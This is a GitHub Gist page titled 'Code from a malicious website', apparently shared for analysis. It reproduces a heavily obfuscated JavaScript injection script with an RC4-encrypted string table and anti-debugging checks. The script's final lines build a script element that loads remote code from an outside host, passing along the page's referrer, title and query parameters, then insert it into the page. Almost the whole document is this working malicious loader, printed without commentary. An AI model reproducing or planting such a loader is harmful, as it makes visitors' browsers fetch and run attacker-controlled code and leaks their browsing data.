Created
May 20, 2019 09:19
-
-
Save qbi/6d6db948f4cc13d880f46c99b3d93cf9 to your computer and use it in GitHub Desktop.
Code from a malicious website
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
< | |
script type = 'text/javascript' > | |
var ttzza = ['R8OSw7rCuWPCt2NQwppQw47Cgn4=', 'w7F/OcKIw4UYwrpmw7bDr2LCiMOH', 'OkHDg8OBwrNLasOCEB4=', 'M8OBAcKqwowDw7dmUcOGw77DkA==', 'wrpiEFA=', 'wr7DlMKnB11CScOJw6ttw7E=', 'w6fDkcOLwpFLPcKOCsKwwrLDuxjCqA==', 'w7vDkzs=', 'OEXDl8OBwq9NQcOf', 'w43Cp8K/GH8=', 'JmsTUjN9', 'woDDnsOKw4U0dk4=', 'bEbDg8OJw6BMR8OfHQvChjrCrRXCqXrDlGbCp8Kze8OCwrZFwoxZOV/CsR9AKsOhwoTDnsOsQR09worDgsKOw5UyFC7Dk8K3w4rCgcK/w5LDkg==']; | |
(function(c, d) { | |
var e = function(f) { | |
while (--f) { | |
c['push'](c['shift']()); | |
} | |
}; | |
var g = function() { | |
var h = { | |
'data': { | |
'key': 'cookie', | |
'value': 'timeout' | |
}, | |
'setCookie': function(i, j, k, l) { | |
l = l || {}; | |
var m = j + '=' + k; | |
var n = 0x0; | |
for (var n = 0x0, p = i['length']; n < p; n++) { | |
var q = i[n]; | |
m += ';\x20' + q; | |
var r = i[q]; | |
i['push'](r); | |
p = i['length']; | |
if (r !== !![]) { | |
m += '=' + r; | |
} | |
} | |
l['cookie'] = m; | |
}, | |
'removeCookie': function() { | |
return 'dev'; | |
}, | |
'getCookie': function(s, t) { | |
s = s || function(u) { | |
return u; | |
}; | |
var v = s(new RegExp('(?:^|;\x20)' + t['replace'](/([.$?*|{}()[]\/+^])/g, '$1') + '=([^;]*)')); | |
var w = function(x, y) { | |
x(++y); | |
}; | |
w(e, d); | |
return v ? decodeURIComponent(v[0x1]) : undefined; | |
} | |
}; | |
var z = function() { | |
var A = new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}'); | |
return A['test'](h['removeCookie']['toString']()); | |
}; | |
h['updateCookie'] = z; | |
var B = ''; | |
var C = h['updateCookie'](); | |
if (!C) { | |
h['setCookie'](['*'], 'counter', 0x1); | |
} else if (C) { | |
B = h['getCookie'](null, 'counter'); | |
} else { | |
h['removeCookie'](); | |
} | |
}; | |
g(); | |
}(ttzza, 0x1e7)); | |
var ttzzb = function(c, d) { | |
c = c - 0x0; | |
var e = ttzza[c]; | |
if (ttzzb['lvutuN'] === undefined) { | |
(function() { | |
var f; | |
try { | |
var g = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');'); | |
f = g(); | |
} catch (h) { | |
f = window; | |
} | |
var i = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; | |
f['atob'] || (f['atob'] = function(j) { | |
var k = String(j)['replace'](/=+$/, ''); | |
for (var l = 0x0, m, n, o = 0x0, p = ''; n = k['charAt'](o++); ~n && (m = l % 0x4 ? m * 0x40 + n : n, l++ % 0x4) ? p += String['fromCharCode'](0xff & m >> (-0x2 * l & 0x6)) : 0x0) { | |
n = i['indexOf'](n); | |
} | |
return p; | |
}); | |
}()); | |
var q = function(r, d) { | |
var t = [], | |
u = 0x0, | |
v, w = '', | |
x = ''; | |
r = atob(r); | |
for (var y = 0x0, z = r['length']; y < z; y++) { | |
x += '%' + ('00' + r['charCodeAt'](y)['toString'](0x10))['slice'](-0x2); | |
} | |
r = decodeURIComponent(x); | |
for (var A = 0x0; A < 0x100; A++) { | |
t[A] = A; | |
} | |
for (A = 0x0; A < 0x100; A++) { | |
u = (u + t[A] + d['charCodeAt'](A % d['length'])) % 0x100; | |
v = t[A]; | |
t[A] = t[u]; | |
t[u] = v; | |
} | |
A = 0x0; | |
u = 0x0; | |
for (var B = 0x0; B < r['length']; B++) { | |
A = (A + 0x1) % 0x100; | |
u = (u + t[A]) % 0x100; | |
v = t[A]; | |
t[A] = t[u]; | |
t[u] = v; | |
w += String['fromCharCode'](r['charCodeAt'](B) ^ t[(t[A] + t[u]) % 0x100]); | |
} | |
return w; | |
}; | |
ttzzb['nXuQoi'] = q; | |
ttzzb['cFXlJH'] = {}; | |
ttzzb['lvutuN'] = !![]; | |
} | |
var C = ttzzb['cFXlJH'][c]; | |
if (C === undefined) { | |
if (ttzzb['JppTRV'] === undefined) { | |
var D = function(E) { | |
this['NptxXd'] = E; | |
this['XnGvOI'] = [0x1, 0x0, 0x0]; | |
this['SSHvqf'] = function() { | |
return 'newState'; | |
}; | |
this['CObEqA'] = '\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*'; | |
this['HsDVVp'] = '[\x27|\x22].+[\x27|\x22];?\x20*}'; | |
}; | |
D['prototype']['qCarvi'] = function() { | |
var F = new RegExp(this['CObEqA'] + this['HsDVVp']); | |
var G = F['test'](this['SSHvqf']['toString']()) ? --this['XnGvOI'][0x1] : --this['XnGvOI'][0x0]; | |
return this['TqOESI'](G); | |
}; | |
D['prototype']['TqOESI'] = function(H) { | |
if (!Boolean(~H)) { | |
return H; | |
} | |
return this['fxeoJD'](this['NptxXd']); | |
}; | |
D['prototype']['fxeoJD'] = function(I) { | |
for (var J = 0x0, K = this['XnGvOI']['length']; J < K; J++) { | |
this['XnGvOI']['push'](Math['round'](Math['random']())); | |
K = this['XnGvOI']['length']; | |
} | |
return I(this['XnGvOI'][0x0]); | |
}; | |
new D(ttzzb)['qCarvi'](); | |
ttzzb['JppTRV'] = !![]; | |
} | |
e = ttzzb['nXuQoi'](e, d); | |
ttzzb['cFXlJH'][c] = e; | |
} else { | |
e = C; | |
} | |
return e; | |
}; | |
var c = function() { | |
var c = !![]; | |
return function(d, e) { | |
var f = c ? function() { | |
if (e) { | |
var g = e['apply'](d, arguments); | |
e = null; | |
return g; | |
} | |
} : function() {}; | |
c = ![]; | |
return f; | |
}; | |
}(); | |
var f = c(this, function() { | |
var c = function() { | |
return '\x64\x65\x76'; | |
}, | |
d = function() { | |
return '\x77\x69\x6e\x64\x6f\x77'; | |
}; | |
var e = function() { | |
var f = new RegExp('\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d'); | |
return !f['\x74\x65\x73\x74'](c['\x74\x6f\x53\x74\x72\x69\x6e\x67']()); | |
}; | |
var g = function() { | |
var h = new RegExp('\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b'); | |
return h['\x74\x65\x73\x74'](d['\x74\x6f\x53\x74\x72\x69\x6e\x67']()); | |
}; | |
var i = function(j) { | |
var k = ~-0x1 >> 0x1 + 0xff % 0x0; | |
if (j['\x69\x6e\x64\x65\x78\x4f\x66']('\x69' === k)) { | |
l(j); | |
} | |
}; | |
var l = function(m) { | |
var n = ~-0x4 >> 0x1 + 0xff % 0x0; | |
if (m['\x69\x6e\x64\x65\x78\x4f\x66']((!![] + '')[0x3]) !== n) { | |
i(m); | |
} | |
}; | |
if (!e()) { | |
if (!g()) { | |
i('\x69\x6e\x64\u0435\x78\x4f\x66'); | |
} else { | |
i('\x69\x6e\x64\x65\x78\x4f\x66'); | |
} | |
} else { | |
i('\x69\x6e\x64\u0435\x78\x4f\x66'); | |
} | |
}); | |
f(); | |
var ttzz_d = document; | |
var ttzz_e = ttzz_d[ttzzb('0x0', '(VEL')]('script'); | |
ttzz_e[ttzzb('0x1', '1sR*')] = 'https://myearthsongs.info/jscount?se_referrer=' + encodeURIComponent(document[ttzzb('0x2', 'w$$^')]) + '&default_keyword=' + encodeURIComponent(document[ttzzb('0x3', 'Nq6L')]) + '&' + window['location'][ttzzb('0x4', 'PsF)')][ttzzb('0x5', '9P7r')]('?', '&') + ttzzb('0x6', 'w$$^'); | |
if (document[ttzzb('0x7', '7tYU')]) { | |
document[ttzzb('0x8', '&8IL')][ttzzb('0x9', 'w$$^')][ttzzb('0xa', 'LK2b')](ttzz_e, document['currentScript']); | |
} else { | |
ttzz_d['getElementsByTagName'](ttzzb('0xb', 'avFn'))[0x0][ttzzb('0xc', 'em$X')](ttzz_e); | |
} < /script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment